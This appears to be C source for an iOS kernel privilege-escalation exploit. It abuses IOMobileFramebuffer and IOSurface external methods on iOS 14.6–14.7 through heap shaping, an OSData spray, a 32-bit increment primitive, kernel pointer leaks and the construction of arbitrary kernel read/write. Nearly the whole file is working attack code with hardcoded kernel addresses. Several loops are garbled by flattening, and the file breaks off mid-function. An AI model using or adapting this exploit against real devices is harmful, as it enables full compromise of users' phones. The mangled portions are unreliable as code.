#include #include #include #include #include #include #include #include #include #include #include #include #include "array.h" #include "iokit.h" #ifdef SAMPLING_MEMORY #include "kernel_hooks.h" #include "xnuspy_ctl.h" #endif /* For iPhone 8, 14.6, 30 seconds after boot */ #define GUESSED_OSDATA_BUFFER_PTR (0xffffffe8dd594000uLL) /* For iPhone SE (2016), 14.7, 30 seconds after boot */ /* #define GUESSED_OSDATA_BUFFER_PTR (0xfffffff9942d0000uLL) */ struct ool_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports_desc; }; static mach_port_t kalloc(size_t len){ mach_port_t recv_port; kern_return_t kret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_port); if(kret){ printf("%s: mach_port_allocate %s\n", __func__, mach_error_string(kret)); return MACH_PORT_NULL; } mach_port_limits_t limits = {0}; limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; mach_msg_type_number_t cnt = MACH_PORT_LIMITS_INFO_COUNT; mach_port_set_attributes(mach_task_self(), recv_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, cnt); size_t port_count = len / 8; /* calloc for MACH_PORT_NULL */ mach_port_t *ports = calloc(port_count, sizeof(mach_port_t)); struct ool_msg oolmsg = {0}; oolmsg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) | MACH_MSGH_BITS_COMPLEX; oolmsg.hdr.msgh_size = sizeof(struct ool_msg); oolmsg.hdr.msgh_remote_port = recv_port; oolmsg.hdr.msgh_local_port = MACH_PORT_NULL; oolmsg.hdr.msgh_id = 0xaabbccdd; oolmsg.body.msgh_descriptor_count = 1; mach_msg_ool_ports_descriptor_t *opd = &oolmsg.ool_ports_desc; opd->address = ports; opd->count = port_count; opd->deallocate = 0; opd->copy = MACH_MSG_PHYSICAL_COPY; opd->disposition = MACH_MSG_TYPE_MAKE_SEND; opd->type = MACH_MSG_OOL_PORTS_DESCRIPTOR; kret = mach_msg(&oolmsg.hdr, MACH_SEND_MSG, sizeof(oolmsg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); if(kret){ printf("%s: mach_msg %s\n", __func__, mach_error_string(kret)); return MACH_PORT_NULL; } return recv_port; } static io_connect_t IOMobileFramebufferUserClient_uc(void){ kern_return_t kret = KERN_SUCCESS; io_connect_t IOMobileFramebufferUserClient_user_client = IO_OBJECT_NULL; const char *name = "IOMobileFramebuffer"; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(name)); if(!service){ printf("%s: IOServiceGetMatchingService returned NULL\n", __func__); return IO_OBJECT_NULL; } int type = 0; kret = IOServiceOpen(service, mach_task_self(), type, &IOMobileFramebufferUserClient_user_client); if(kret){ printf("%s: IOServiceOpen returned %s\n", __func__, mach_error_string(kret)); return IO_OBJECT_NULL; } return IOMobileFramebufferUserClient_user_client; } static io_connect_t IOSurfaceRootUserClient_uc(void){ kern_return_t kret = KERN_SUCCESS; io_connect_t IOSurfaceRootUserClient_user_client = IO_OBJECT_NULL; const char *name = "IOSurfaceRoot"; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(name)); if(!service){ printf("%s: IOServiceGetMatchingService returned NULL\n", __func__); return IO_OBJECT_NULL; } int type = 0; kret = IOServiceOpen(service, mach_task_self(), type, &IOSurfaceRootUserClient_user_client); if(kret){ printf("%s: IOServiceOpen returned %s\n", __func__, mach_error_string(kret)); return IO_OBJECT_NULL; } return IOSurfaceRootUserClient_user_client; } static int create_surface(io_connect_t uc){ /* Thanks @bazad */ struct _IOSurfaceFastCreateArgs { uint64_t address; uint32_t width; uint32_t height; uint32_t pixel_format; uint32_t bytes_per_element; uint32_t bytes_per_row; uint32_t alloc_size; }; struct IOSurfaceLockResult { uint8_t _pad1[0x18]; uint32_t surface_id; uint8_t _pad2[0xf60-0x18-0x4]; }; struct _IOSurfaceFastCreateArgs create_args = {0}; create_args.width = 100; create_args.height = 100; /* below works */ create_args.pixel_format = 0x42475241; create_args.alloc_size = 0; struct IOSurfaceLockResult lock_result; size_t lock_result_size = sizeof(lock_result); kern_return_t kret = IOConnectCallMethod(uc, 6, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); if(kret) return -1; return lock_result.surface_id; } static int create_swap(io_connect_t uc){ uint64_t swap_id; uint32_t cnt = 1; kern_return_t kret = IOConnectCallScalarMethod(uc, 4, NULL, 0, &swap_id, &cnt); if(kret) return -1; return swap_id; } static bool cancel_swap(io_connect_t uc, int swap_id){ uint64_t in = (uint64_t)swap_id; kern_return_t kret = IOConnectCallScalarMethod(uc, 52, &in, 1, NULL, NULL); if(kret){ printf("%s: s_swap_cancel failed: %s\n", __func__, mach_error_string(kret)); return false; } return true; } static bool submit_stagen_swap(io_connect_t uc, uint64_t iosurfaceroot_kaddr, uint64_t recursive_lock_kaddr, uint64_t plus_c0_kptr, uint64_t device_cache_kaddr, int *swap_id_out){ static uint64_t a = 0; kern_return_t kret = KERN_SUCCESS; if(!a){ kret = vm_allocate(mach_task_self(), (vm_address_t *)&a, 0x4000, 1); if(kret){ printf("%s: vm_allocate: %s\n", __func__, mach_error_string(kret)); *swap_id_out = 0; return false; } } int swap_id = create_swap(uc); if(swap_id == -1){ printf("%s: failed to make swap\n", __func__); *swap_id_out = 0; return false; } uint8_t swap_submit_in[0x280]; memset(swap_submit_in, 0, sizeof(swap_submit_in)); /* surface+0x28: IOSurfaceRoot, must point to something valid * for the 10-byte zero primitive */ *(uint64_t *)(swap_submit_in + 0x67) = iosurfaceroot_kaddr; /* surface+0x38: must be non-NULL so our swap is registered * in the surface array */ *(uint64_t *)(swap_submit_in + 0x77) = 0x4141414141414141; /* surface+0x40: must be the same as *(device_cache+0x38) for the * 10-byte zero primitive we have */ *(uint64_t *)(swap_submit_in + 0x97) = device_cache_kaddr + 0x38; /* surface+0x48: IOSurfaceDeviceCache pointer */ *(uint64_t *)(swap_submit_in + 0x9f) = device_cache_kaddr; /* surface+0x80: IORecursiveLock */ *(uint64_t *)(swap_submit_in + 0x11b) = recursive_lock_kaddr; /* surface+0xb0: size passed to IOMalloc_external * 8 * * Make this large so we bail before the phone tries to do * a virtual method call with a pointer we can't guess * inside IOSurfaceClient::init */ *(uint32_t *)(swap_submit_in + 0x14b) = 0x7fffffff; /* surface+0xc0: kernel pointer, can do an arbitrary decrement/ * increment with *(surface+0xc0)+0x14 */ *(uint64_t *)(swap_submit_in + 0x15b) = plus_c0_kptr; *(uint64_t *)(swap_submit_in + 0x38) = a; *(uint32_t *)(swap_submit_in + 0x40) = swap_id; /* Enable all layers so we can control more of the * type confused IOSurface */ *(uint32_t *)(swap_submit_in + 0xc8) = (1 << 2) | (1 << 1) | (1 << 0); /* Prevent this swap from being dropped inside swap_start_gated * (will be considered as a "no-op swap" otherwise) */ *(uint32_t *)(swap_submit_in + 0xcc) = 0x42424242; /* This must not be 0, 2, 9, 12, or 13, otherwise the most recently * submitted swap will not show up at UnifiedPipeline+0xb18 */ *(uint32_t *)(swap_submit_in + 0xf4) = 0x100; /* Set all to 4 so the above is recorded in the swap object */ *(uint32_t *)(swap_submit_in + 0x100) = 4; *(uint32_t *)(swap_submit_in + 0x104) = 4; *(uint32_t *)(swap_submit_in + 0x108) = 4; /* Shared client id */ *(uint8_t *)(swap_submit_in + 0x157) = 0; *(uint8_t *)(swap_submit_in + 0x158) = 0; kret = IOConnectCallStructMethod(uc, 5, swap_submit_in, sizeof(swap_submit_in), NULL, NULL); if(kret){ printf("%s: swap_submit: %s\n", __func__, mach_error_string(kret)); *swap_id_out = 0; return false; } *swap_id_out = swap_id; return true; } /* Keep track of the ports that external method 83 produces so we * can clean them up after kernel read/write is obtained */ static struct array *g_increment32_n_ports = NULL; static bool increment32_n(uint64_t kaddr, uint32_t times){ static io_connect_t iomfbuc = IO_OBJECT_NULL; if(!iomfbuc){ iomfbuc = IOMobileFramebufferUserClient_uc(); if(!iomfbuc){ printf("%s: failed making iomfb user client\n", __func__); return false; } } if(!g_increment32_n_ports){ g_increment32_n_ports = array_new(); if(!g_increment32_n_ports){ printf("%s: failed to allocate array for ports\n", __func__); return false; } } int swap_id; /* Using IOSurface::increment_use_count, this alone is enough to * call it */ if(!submit_stagen_swap(iomfbuc, 0, 0, kaddr - 0x14, 0, &swap_id)) return false; for(uint32_t i=0; i 0; i += 8){ ret += (val % 255) << i; val /= 255; } return ret + 0x01010101; } struct set_value_spray { uint32_t surface_id; uint32_t pad; /* Serialized XML */ uint32_t set_value_data[7]; /* OSData spray data */ uint8_t osdata_spray[]; }; static uint32_t g_cur_osdata_spray_key = 0; static struct set_value_spray *g_spray_data_one_page = NULL; static struct set_value_spray *g_spray_data_two_pages = NULL; static struct set_value_spray *g_spray_data_three_pages = NULL; static struct set_value_spray *g_spray_data_four_pages = NULL; static uint8_t *g_spray_junk_buf_one_page = NULL; static uint8_t *g_spray_junk_buf_two_pages = NULL; static uint8_t *g_spray_junk_buf_three_pages = NULL; static uint8_t *g_spray_junk_buf_four_pages = NULL; static bool g_osdata_spray_inited = false; static void osdata_spray_init(void){ g_spray_data_one_page = malloc(sizeof(struct set_value_spray) + 0x4000); if(!g_spray_data_one_page) return; g_spray_data_two_pages = malloc(sizeof(struct set_value_spray) + 0x8000); if(!g_spray_data_two_pages) return; g_spray_data_three_pages = malloc(sizeof(struct set_value_spray) + 0xc000); if(!g_spray_data_three_pages) return; g_spray_data_four_pages = malloc(sizeof(struct set_value_spray) + 0x10000); if(!g_spray_data_four_pages) return; g_spray_junk_buf_one_page = malloc(0x4000); if(!g_spray_junk_buf_one_page) return; g_spray_junk_buf_two_pages = malloc(0x8000); if(!g_spray_junk_buf_two_pages) return; g_spray_junk_buf_three_pages = malloc(0xc000); if(!g_spray_junk_buf_three_pages) return; g_spray_junk_buf_four_pages = malloc(0x10000); if(!g_spray_junk_buf_four_pages) return; memset(g_spray_junk_buf_one_page, '1', 0x4000); memset(g_spray_junk_buf_two_pages, '2', 0x8000); memset(g_spray_junk_buf_three_pages, '3', 0xc000); memset(g_spray_junk_buf_four_pages, '4', 0x10000); g_osdata_spray_inited = true; } static bool osdata_spray_free(io_connect_t iosruc, int surface_id, uint32_t spray_key){ uint64_t delete_in[] = { (uint64_t)surface_id, spray_key, 0 }; uint8_t delete_out[4]; size_t delete_outcnt = sizeof(delete_out); kern_return_t kret = IOConnectCallStructMethod(iosruc, 11, delete_in, sizeof(delete_in), delete_out, &delete_outcnt); if(kret){ printf("%s: s_delete_value failed for key %#x: %s\n", __func__, spray_key, mach_error_string(kret)); return false; } return true; } static bool osdata_spray_internal(io_connect_t iosruc, int surface_id, uint32_t *keyp, uint8_t *spray_data, size_t spray_sz, struct set_value_spray *spray_buf){ size_t aligned_spray_sz = spray_sz; if(spray_sz & 0x3fffuLL) aligned_spray_sz = (spray_sz + 0x4000) & ~(0x3fffuLL); uint32_t cur_spray_key = transpose(g_cur_osdata_spray_key); spray_buf->surface_id = surface_id; spray_buf->pad = 0; uint32_t *set_value_data = spray_buf->set_value_data; *set_value_data++ = kOSSerializeBinarySignature; *set_value_data++ = kOSSerializeEndCollection | kOSSerializeArray | 1; *set_value_data++ = kOSSerializeEndCollection | kOSSerializeDictionary | 1; *set_value_data++ = kOSSerializeSymbol | 5; *set_value_data++ = cur_spray_key; *set_value_data++ = 0; *set_value_data++ = kOSSerializeEndCollection | kOSSerializeData | aligned_spray_sz; memcpy(spray_buf->osdata_spray, spray_data, spray_sz); uint32_t out = 0; size_t outsz = sizeof(out); kern_return_t kret = IOConnectCallStructMethod(iosruc, 9, spray_buf, sizeof(struct set_value_spray) + aligned_spray_sz, &out, &outsz); if(kret){ printf("%s: s_set_value failed: %s\n", __func__, mach_error_string(kret)); return false; } *keyp = cur_spray_key; g_cur_osdata_spray_key++; return true; } static bool osdata_junk_spray(io_connect_t iosruc, int surface_id, size_t sz, uint32_t *keyp){ if(!g_osdata_spray_inited){ osdata_spray_init(); if(!g_osdata_spray_inited){ printf("%s: failed to init osdata spray globals\n", __func__); return false; } } struct set_value_spray *spray_buf; uint8_t *buf; if(sz <= 0x4000){ spray_buf = g_spray_data_one_page; buf = g_spray_junk_buf_one_page; } else if(sz <= 0x8000){ spray_buf = g_spray_data_two_pages; buf = g_spray_junk_buf_two_pages; } else if(sz <= 0xc000){ spray_buf = g_spray_data_three_pages; buf = g_spray_junk_buf_three_pages; } else if(sz <= 0x10000){ spray_buf = g_spray_data_four_pages; buf = g_spray_junk_buf_four_pages; } else{ printf("%s: unsupported size %#zx\n", __func__, sz); return false; } return osdata_spray_internal(iosruc, surface_id, keyp, buf, sz, spray_buf); } static bool osdata_spray(io_connect_t iosruc, int surface_id, uint8_t *data, size_t sz, uint32_t *keyp){ if(!g_osdata_spray_inited){ osdata_spray_init(); if(!g_osdata_spray_inited){ printf("%s: failed to init osdata spray globals\n", __func__); return false; } } struct set_value_spray *spray_buf; if(sz <= 0x4000) spray_buf = g_spray_data_one_page; else if(sz <= 0x8000) spray_buf = g_spray_data_two_pages; else if(sz <= 0xc000) spray_buf = g_spray_data_three_pages; else if(sz <= 0x10000) spray_buf = g_spray_data_four_pages; else{ printf("%s: unsupported size %#zx\n", __func__, sz); return false; } return osdata_spray_internal(iosruc, surface_id, keyp, data, sz, spray_buf); } static int ptrcmp(const void *_a, const void *_b){ const uintptr_t a = *(uintptr_t *)_a; const uintptr_t b = *(uintptr_t *)_b; if(a < b) return -1; else if(a == b) return 0; else return 1; } struct pipe_hole_filler { int rfd, wfd; uint64_t inferred_pipebuf_kva; }; struct iosruc_hole_filler { io_connect_t iosruc; uint64_t inferred_client_array_kva; struct array *surface_ids; }; #ifdef SAMPLING_MEMORY extern void *g_osdata_kaddrs[8000]; extern uint64_t g_osdata_kaddrs_idx; extern bool g_record_osdata_kaddrs; static void sample_kernel_map(void){ struct array *osdata_kaddrs = array_new(); /* Allocations should be contiguous after the 1000th one */ for(int i=1000; ilen; i++){ void *kptr = osdata_kaddrs->items[i]; if(i == 0) puts(""); else{ uint64_t before = (uint64_t)osdata_kaddrs->items[i-1]; uint64_t dist = (uint64_t)kptr - before; dists[i] = dist; if(dist != 0x10000){ printf("%s: WARNING: %p [%#llx bytes from behind]\n", __func__, kptr, dist); } } } printf("%s: to add to alloc_averager.py:\n", __func__); void *last = osdata_kaddrs->items[osdata_kaddrs->len-1]; printf("[%p, %p],\n", osdata_kaddrs->items[0], (void *)((uintptr_t)last + 0x100000 - 0x4000)); } static bool install_kernel_memory_allocate_hook(void){ long SYS_xnuspy_ctl; size_t oldlen = sizeof(long); int res = sysctlbyname("kern.xnuspy_ctl_callnum", &SYS_xnuspy_ctl, &oldlen, NULL, 0); if(res == -1){ printf("sysctlbyname with kern.xnuspy_ctl_callnum failed: %s\n", strerror(errno)); return false; } res = syscall(SYS_xnuspy_ctl, XNUSPY_CHECK_IF_PATCHED, 0, 0, 0); if(res != 999){ printf("xnuspy_ctl isn't present?\n"); return false; } extern uint64_t kernel_slide; res = syscall(SYS_xnuspy_ctl, XNUSPY_CACHE_READ, KERNEL_SLIDE, &kernel_slide, 0, 0); if(res){ printf("failed reading kernel slide from xnuspy cache\n"); return false; } /* iPhone 8, 14.6 */ /* uint64_t kma = 0xfffffff007b2e66c; */ /* iPhone SE (2016), 14.7 */ uint64_t kma = 0xfffffff0071f1384; res = syscall(SYS_xnuspy_ctl, XNUSPY_INSTALL_HOOK, kma, _kernel_memory_allocate, &kernel_memory_allocate); if(res) return false; return true; } #endif static bool exploit_stage1(struct array **iosruc_hole_fillersp, struct array **pipe_hole_fillersp, uint64_t *anchor_alloc_kaddrp){ kern_return_t kret = KERN_SUCCESS; /* Shape the kernel virtual address space. * 1. Fill up the kalloc map */ struct array *kalloc_map_filler_recvs = array_new(); for(int i=0; i<2000; i++){ mach_port_t r = kalloc(0x10000); if(!r){ printf("%s: failed kalloc map filler recv %d\n", __func__, i); break; } array_insert(kalloc_map_filler_recvs, (void *)(uintptr_t)r); } io_connect_t osdata_spray_iosruc = IOSurfaceRootUserClient_uc(); if(!osdata_spray_iosruc){ printf("%s: failed making IOSurfaceRootUserClient?\n", __func__); return false; } int osdata_spray_surface = create_surface(osdata_spray_iosruc); if(osdata_spray_surface == -1){ printf("%s: failed to create spray IOSurface\n", __func__); return false; } struct array *iosruc_hole_fillers = array_new(); /* Free 16mb to the left of the anchor alloc */ const uint64_t anchor_alloc_free_mbs = 16; const uint64_t anchor_alloc_free_bytes = 0x100000 * anchor_alloc_free_mbs; const uint32_t spray_sz = 0x10000; /* How many 0x10000-byte holes we create to the left of the * anchor alloc */ uint32_t nholes_left = anchor_alloc_free_bytes / spray_sz; for(int i=0; i<(nholes_left + 20) / 2; i++){ struct iosruc_hole_filler *ihf = malloc(sizeof(*ihf)); io_connect_t uc = IOSurfaceRootUserClient_uc(); if(!uc){ printf("%s: could not make hole filler iosruc @ %d\n", __func__, i); return false; } ihf->iosruc = uc; ihf->inferred_client_array_kva = 0; ihf->surface_ids = array_new(); array_insert(iosruc_hole_fillers, ihf); } /* We'll also be filling holes with 0x10000-byte pipe buffers later */ struct array *pipe_hole_fillers = array_new(); for(int i=0; i<(nholes_left + 20) / 2; i++){ struct pipe_hole_filler *phf = malloc(sizeof(*phf)); int p[2]; if(pipe(p) == -1){ printf("%s: pipe call %d failed: %s\n", __func__, i, strerror(errno)); return false; } phf->rfd = p[0]; phf->wfd = p[1]; phf->inferred_pipebuf_kva = 0; array_insert(pipe_hole_fillers, phf); } /* Prep for future kernel map IOSurfaceClient arrays: * This will set the surface client array capacity for the provider to * all the iosruc's, which will make just one IOSurfaceClient allocation * cause a kernel map allocation */ struct iosruc_hole_filler *ihf0 = iosruc_hole_fillers->items[0]; int nsurfaces = 4095; int *surfaces = malloc(sizeof(int) * nsurfaces); for(int k=0; kiosruc); if(!surfaces[k]){ printf("%s: could not make surface for hole filler 0\n", __func__); return false; } } /* Free all the surfaces except one so we can create new * surfaces later */ for(int k=0; kiosruc, 1, &surface, 1, NULL, NULL); if(kret){ printf("%s: s_release_surface failed: %s\n", __func__, mach_error_string(kret)); return false; } } array_insert(ihf0->surface_ids, (void *)(uintptr_t)surfaces[nsurfaces-1]); free(surfaces); surfaces = NULL; /* 2. Spray 500 MB into the kernel map via OSData */ struct set_value_spray { uint32_t surface_id; uint32_t pad; /* Serialized XML */ uint32_t set_value_data[7]; /* OSData spray data */ uint8_t osdata_spray[]; }; const uint32_t mbs = 500; const size_t total_spray = 0x100000 * mbs; const uint32_t nsprays = total_spray / spray_sz; struct array *osdata_spray_keys = array_new(); uint8_t *osdata_spray_buf = malloc(spray_sz); #ifdef SAMPLING_MEMORY if(!install_kernel_memory_allocate_hook()) return false; g_record_osdata_kaddrs = true; #endif uint32_t osdata_spray_buf_constant = 0x12345678; /* Record the page number as well as the index into osdata_spray_keys */ for(int i=0; ilen; i++){ uint32_t key = (uint32_t)(uintptr_t)osdata_spray_keys->items[i]; uint32_t get_value_input[4]; memset(get_value_input, 0, sizeof(get_value_input)); get_value_input[0] = osdata_spray_surface; get_value_input[2] = key; size_t readback_buf_sz = 0x10 + spray_sz; kret = IOConnectCallStructMethod(osdata_spray_iosruc, 10, get_value_input, sizeof(get_value_input), readback_buf, &readback_buf_sz); if(kret){ printf("%s: failed to read back OSData buffer for key %#x: %s\n", __func__, key, mach_error_string(kret)); return false; } uint8_t *readback_buf_orig = readback_buf; readback_buf += 0x10; for(int k=0; k<4; k++){ uint32_t constant = *(uint32_t *)readback_buf; if(constant != osdata_spray_buf_constant){ uint32_t pagenum = *(uint32_t *)(readback_buf + 0x4); uint32_t osdata_spray_key_idx = *(uint32_t *)(readback_buf + 0x8); printf("%s: pagenum %d keyidx %d\n", __func__,pagenum, osdata_spray_key_idx); anchor_alloc = osdata_spray_key_idx; anchor_alloc_key = (uint32_t)(uintptr_t)osdata_spray_keys->items[anchor_alloc]; anchor_alloc_kaddr -= (pagenum * 0x4000); break; } readback_buf += 0x4000; } if(anchor_alloc != -1){ printf("%s: found OSData buffer for key %#x at %#lx\n", __func__, anchor_alloc_key, anchor_alloc_kaddr); break; } readback_buf = readback_buf_orig; memset(readback_buf, 0, spray_sz); } if(anchor_alloc == -1){ printf("%s: our guess was wrong, we may panic\n", __func__); return false; } /* Free 16 MB worth of allocations to the left of the anchor alloc */ for(int i=anchor_alloc-nholes_left; iitems[i]; if(!osdata_spray_free(osdata_spray_iosruc, osdata_spray_surface, key)){ printf("%s: left: failed freeing data for key %#x\n", __func__, key); return false; } osdata_spray_keys->items[i] = (void *)-1; } uint64_t cur_left_hole_kva = anchor_alloc_kaddr - (spray_sz * nholes_left); /* We try and get a layout like this * [IOSurfaceClient array][pipe buffer][anchor alloc] * or like this * [pipe buffer][IOSurfaceClient array][anchor alloc] * because each time we use the 32-bit increment, a Mach port is * created, and ports are not an unlimited resource. Both these * arrays have the same length so this is safe */ for(int i=0; ilen; i++){ bool last_ihf = (i == iosruc_hole_fillers->len - 1); /* Exclude the first iosruc hole filler, because its IOSurfaceClient * array was allocated way before */ struct iosruc_hole_filler *ihf = NULL; if(!last_ihf) ihf = iosruc_hole_fillers->items[i+1]; struct pipe_hole_filler *phf = pipe_hole_fillers->items[i]; /* We're betting on the KVA space being laid out as described * above, fingers crossed... */ if(!last_ihf) ihf->inferred_client_array_kva = cur_left_hole_kva; phf->inferred_pipebuf_kva = cur_left_hole_kva + spray_sz; cur_left_hole_kva += (spray_sz * 2); uint8_t contents[0x10000]; memset(contents, i, sizeof(contents)); int surface_id = 0; if(!last_ihf) surface_id = create_surface(ihf->iosruc); int write_res = write(phf->wfd, contents, sizeof(contents)); if(!last_ihf && surface_id == -1){ printf("%s: failed to create IOSurfaceClient array for ihf %d\n", __func__, i); return false; } if(write_res == -1){ printf("%s: write failed for phf %d\n", __func__, i); return false; } if(!last_ihf) array_insert(ihf->surface_ids, (void *)(uintptr_t)surface_id); } /* There's a good chance that the IOSurfaceRootUserClient's * surface client array in the middle of this array falls in * the middle of the holes we reclaimed. Only spray surfaces here * so when we do stage2, the leaked IOSurfaceRootUserClient + other * pointers will correspond to this one */ int mididx = iosruc_hole_fillers->len / 2; int spray_surface_id = 0; struct iosruc_hole_filler *mid = iosruc_hole_fillers->items[mididx]; /* We don't want to trigger a reallocation from 0x10000 --> * 0x20000 bytes */ while(spray_surface_id < 8191){ spray_surface_id = create_surface(mid->iosruc); if(spray_surface_id == -1) break; array_insert(mid->surface_ids, (void *)(uintptr_t)spray_surface_id); } *iosruc_hole_fillersp = iosruc_hole_fillers; *pipe_hole_fillersp = pipe_hole_fillers; *anchor_alloc_kaddrp = anchor_alloc_kaddr; return true; } static bool exploit_stage2(struct array *iosruc_hole_fillers, uint64_t *iosr_kaddrp, uint64_t *iosruc_kaddrp, uint64_t *iosc_array_kaddrp, uint32_t *iosc_array_capacityp){ /* Here we will leak the address of some IOSurfaceRootUserClient * and the address of its IOSurfaceClient array. We do this by * picking one of the IOSurfaceClient pointers in mid's surface client * array to increment. We increment it 0x70 bytes and so that its * IOSurface pointer now points to the IOSurfaceRootUserClient of the * IOSurfaceClient it overlaps with. Then we can leak fields of that * user client pointer with s_get_bulk_attachments. * * We don't know if mid->inferred_client_array_kva *actually* * corresponds to mid's IOSurfaceClient array, but it will correspond * to one of the iosruc_hole_filler structures */ int mididx = iosruc_hole_fillers->len / 2; struct iosruc_hole_filler *mid = iosruc_hole_fillers->items[mididx]; /* We allocated enough IOSurfaceClient objects so we should own all * kalloc.160 elements for the pages near the end of the surface * ID array. There's 102 elements per kalloc.160 page. Maybe we * can get one that sits on the eigth-last page in its all_used list */ int surface_idx = mid->surface_ids->len - (102 * 8); int target_surface = (int)(uintptr_t)mid->surface_ids->items[surface_idx]; for(int i=1; ilen; i++){ struct iosruc_hole_filler *ihf = iosruc_hole_fillers->items[i]; uint64_t current_client_array_guess = ihf->inferred_client_array_kva; /* We account for both KVA space layouts: * [IOSurfaceClient array][pipe buffer][anchor alloc] * and * [pipe buffer][IOSurfaceClient array][anchor alloc] */ uint64_t guessed_IOSurfaceClientp = current_client_array_guess + (sizeof(void *) * target_surface); if(!increment32_n(guessed_IOSurfaceClientp, 0x70)){ printf("%s: failed to increment guessed IOSurfaceClient" " pointer at %#llx\n", __func__, guessed_IOSurfaceClientp); return false; } /* Don't start doing this until we're more than a fourth of * the way through the loop since we may hit an unmapped page * before then */ if(i > (iosruc_hole_fillers->len / 4)){ if(!increment32_n(guessed_IOSurfaceClientp - 0x10000, 0x70)){ printf("%s: failed to increment guessed IOSurfaceClient" " pointer at %#llx\n", __func__, guessed_IOSurfaceClientp); return false; } } } /* Leak the pointers we need */ uint64_t bulk_in = (uint64_t)target_surface; uint8_t bulk_out[0x80]; memset(bulk_out, 0, sizeof(bulk_out)); size_t bulk_out_sz = sizeof(bulk_out); kern_return_t kret = IOConnectCallMethod(mid->iosruc, 28, &bulk_in, 1, NULL, 0, NULL, 0, bulk_out, &bulk_out_sz); if(kret){ printf("%s: s_get_bulk_attachments failed: %s\n", __func__, mach_error_string(kret)); return false; } uint64_t iosr_kaddr = *(uint64_t *)(bulk_out + 0x1c); uint64_t iosruc_kaddr = *(uint64_t *)(bulk_out + 0x3c) - 0xf8; uint64_t iosc_array_kaddr = *(uint64_t *)(bulk_out + 0x54); uint32_t iosc_array_capacity = *(uint32_t *)(bulk_out + 0x5c); *iosr_kaddrp = iosr_kaddr; *iosruc_kaddrp = iosruc_kaddr; *iosc_array_kaddrp = iosc_array_kaddr; *iosc_array_capacityp = iosc_array_capacity; return true; } static bool exploit_stage3(struct array *iosruc_hole_fillers, struct array *pipe_hole_fillers, uint64_t anchor_alloc_kaddr, uint64_t iosruc_kaddr, uint64_t iosc_array_kaddr, uint32_t iosc_array_capacity, struct pipe_hole_filler **krw_pipe_hole_fillerp, io_connect_t *krw_iosrucp, int *krw_surface_idp){ /* Create an artifical OOB IOSurfaceClient read with our 32-bit * increment. But first we have to fix the IOSurfaceClient pointer * in each pipe buffer now that we have a pointer to one of the * IOSurfaceClient arrays we sprayed earlier */ for(int i=0; ilen; i++){ struct pipe_hole_filler *phf = pipe_hole_fillers->items[i]; uint8_t contents[0x10000]; if(read(phf->rfd, contents, sizeof(contents)) == -1){ printf("%s: failed to read pipe %d: %s\n", __func__, i, strerror(errno)); return false; } /* This is very likely to point to pipe buffer we control */ *(uint64_t *)contents = iosc_array_kaddr + 0x10000 + sizeof(uint64_t); uint8_t *fake_IOSurfaceClient = contents + sizeof(uint64_t); *(uint64_t *)(fake_IOSurfaceClient + 0x40) = iosc_array_kaddr + 0x10000 + sizeof(uint64_t) + 0xa0; uint8_t *fake_IOSurface = fake_IOSurfaceClient + 0xa0; *(uint64_t *)(fake_IOSurface + 0xc0) = (iosc_array_kaddr + 0x10000 + sizeof(uint64_t) + 0xa0 + 0x400) - 0x14; /* Use the use count to encode the index into the pipe hole fillers * so we know which one controls this IOSurface */ *(uint32_t *)(fake_IOSurface + 0x400) = (0x4141 << 16) | i; if(write(phf->wfd, contents, sizeof(contents)) == -1){ printf("%s: failed to write pipe %d: %s\n", __func__, i, strerror(errno)); return false; } } uint32_t times = 8193 - iosc_array_capacity; if(!increment32_n(iosruc_kaddr + 0x120, times)){ printf("%s: failed to increase array capacity\n", __func__); return false; } /* Figure out which IOSurfaceRootUserClient corresponds to the * IOSurfaceClient array that we can now OOB read from */ struct pipe_hole_filler *krw_pipe_hole_filler = NULL; io_connect_t krw_iosruc = IO_OBJECT_NULL; for(int i=0; ilen; i++){ struct iosruc_hole_filler *ihf = iosruc_hole_fillers->items[i]; io_connect_t iosruc = ihf->iosruc; uint64_t in = 8192; uint64_t val = 0; uint32_t outcnt = 1; kern_return_t kret = IOConnectCallScalarMethod(iosruc, 16, &in, 1, &val, &outcnt); if(kret) continue; if(((uint32_t)val >> 16) == 0x4141){ krw_pipe_hole_filler = pipe_hole_fillers->items[val & 0xff]; krw_iosruc = iosruc; /* printf("%s: found corrupted IOSurfaceRootUserClient handle %#x\n", */ /* __func__, krw_iosruc); */ break; } } if(!krw_iosruc){ printf("%s: failed, did not find corrupted iosruc\n", __func__); return false; } *krw_pipe_hole_fillerp = krw_pipe_hole_filler; *krw_iosrucp = krw_iosruc; *krw_surface_idp = 8192; return true; } /* Kernel read/write constants */ static io_connect_t g_krw_iosruc = IO_OBJECT_NULL; static int g_krw_surface_pipe_read = 0, g_krw_surface_pipe_write = 0; static uint32_t g_krw_surface_id = 0; static bool init_krw(io_connect_t krw_iosruc, int krw_surface_pipe_read, int krw_surface_pipe_write, uint32_t krw_surface_id){ g_krw_iosruc = krw_iosruc; g_krw_surface_pipe_read = krw_surface_pipe_read; g_krw_surface_pipe_write = krw_surface_pipe_write; g_krw_surface_id = krw_surface_id; return true; } static bool kread32(uint64_t kaddr, uint32_t *out){ if(!g_krw_iosruc){ printf("%s: init_krw not called yet\n", __func__); return false; } uint8_t contents[0x10000]; if(read(g_krw_surface_pipe_read, contents, sizeof(contents)) == -1){ printf("%s: read fail: %s\n", __func__, strerror(errno)); return false; } *(uint64_t *)(contents + 0x8 + 0xa0 + 0xc0) = kaddr - 0x14; if(write(g_krw_surface_pipe_write, contents, sizeof(contents)) == -1){ printf("%s: write fail: %s\n", __func__, strerror(errno)); return false; } uint64_t in = g_krw_surface_id; uint64_t val = 0; uint32_t outcnt = 1; kern_return_t kret = IOConnectCallScalarMethod(g_krw_iosruc, 16, &in, 1, &val, &outcnt); if(kret){ printf("%s: failed reading from %#llx: %s\n", __func__, kaddr, mach_error_string(kret)); return false; } *out = (uint32_t)val; return true; } static bool kread64(uint64_t kaddr, uint64_t *out){ uint32_t low, high; if(!kread32(kaddr, &low)) return false; 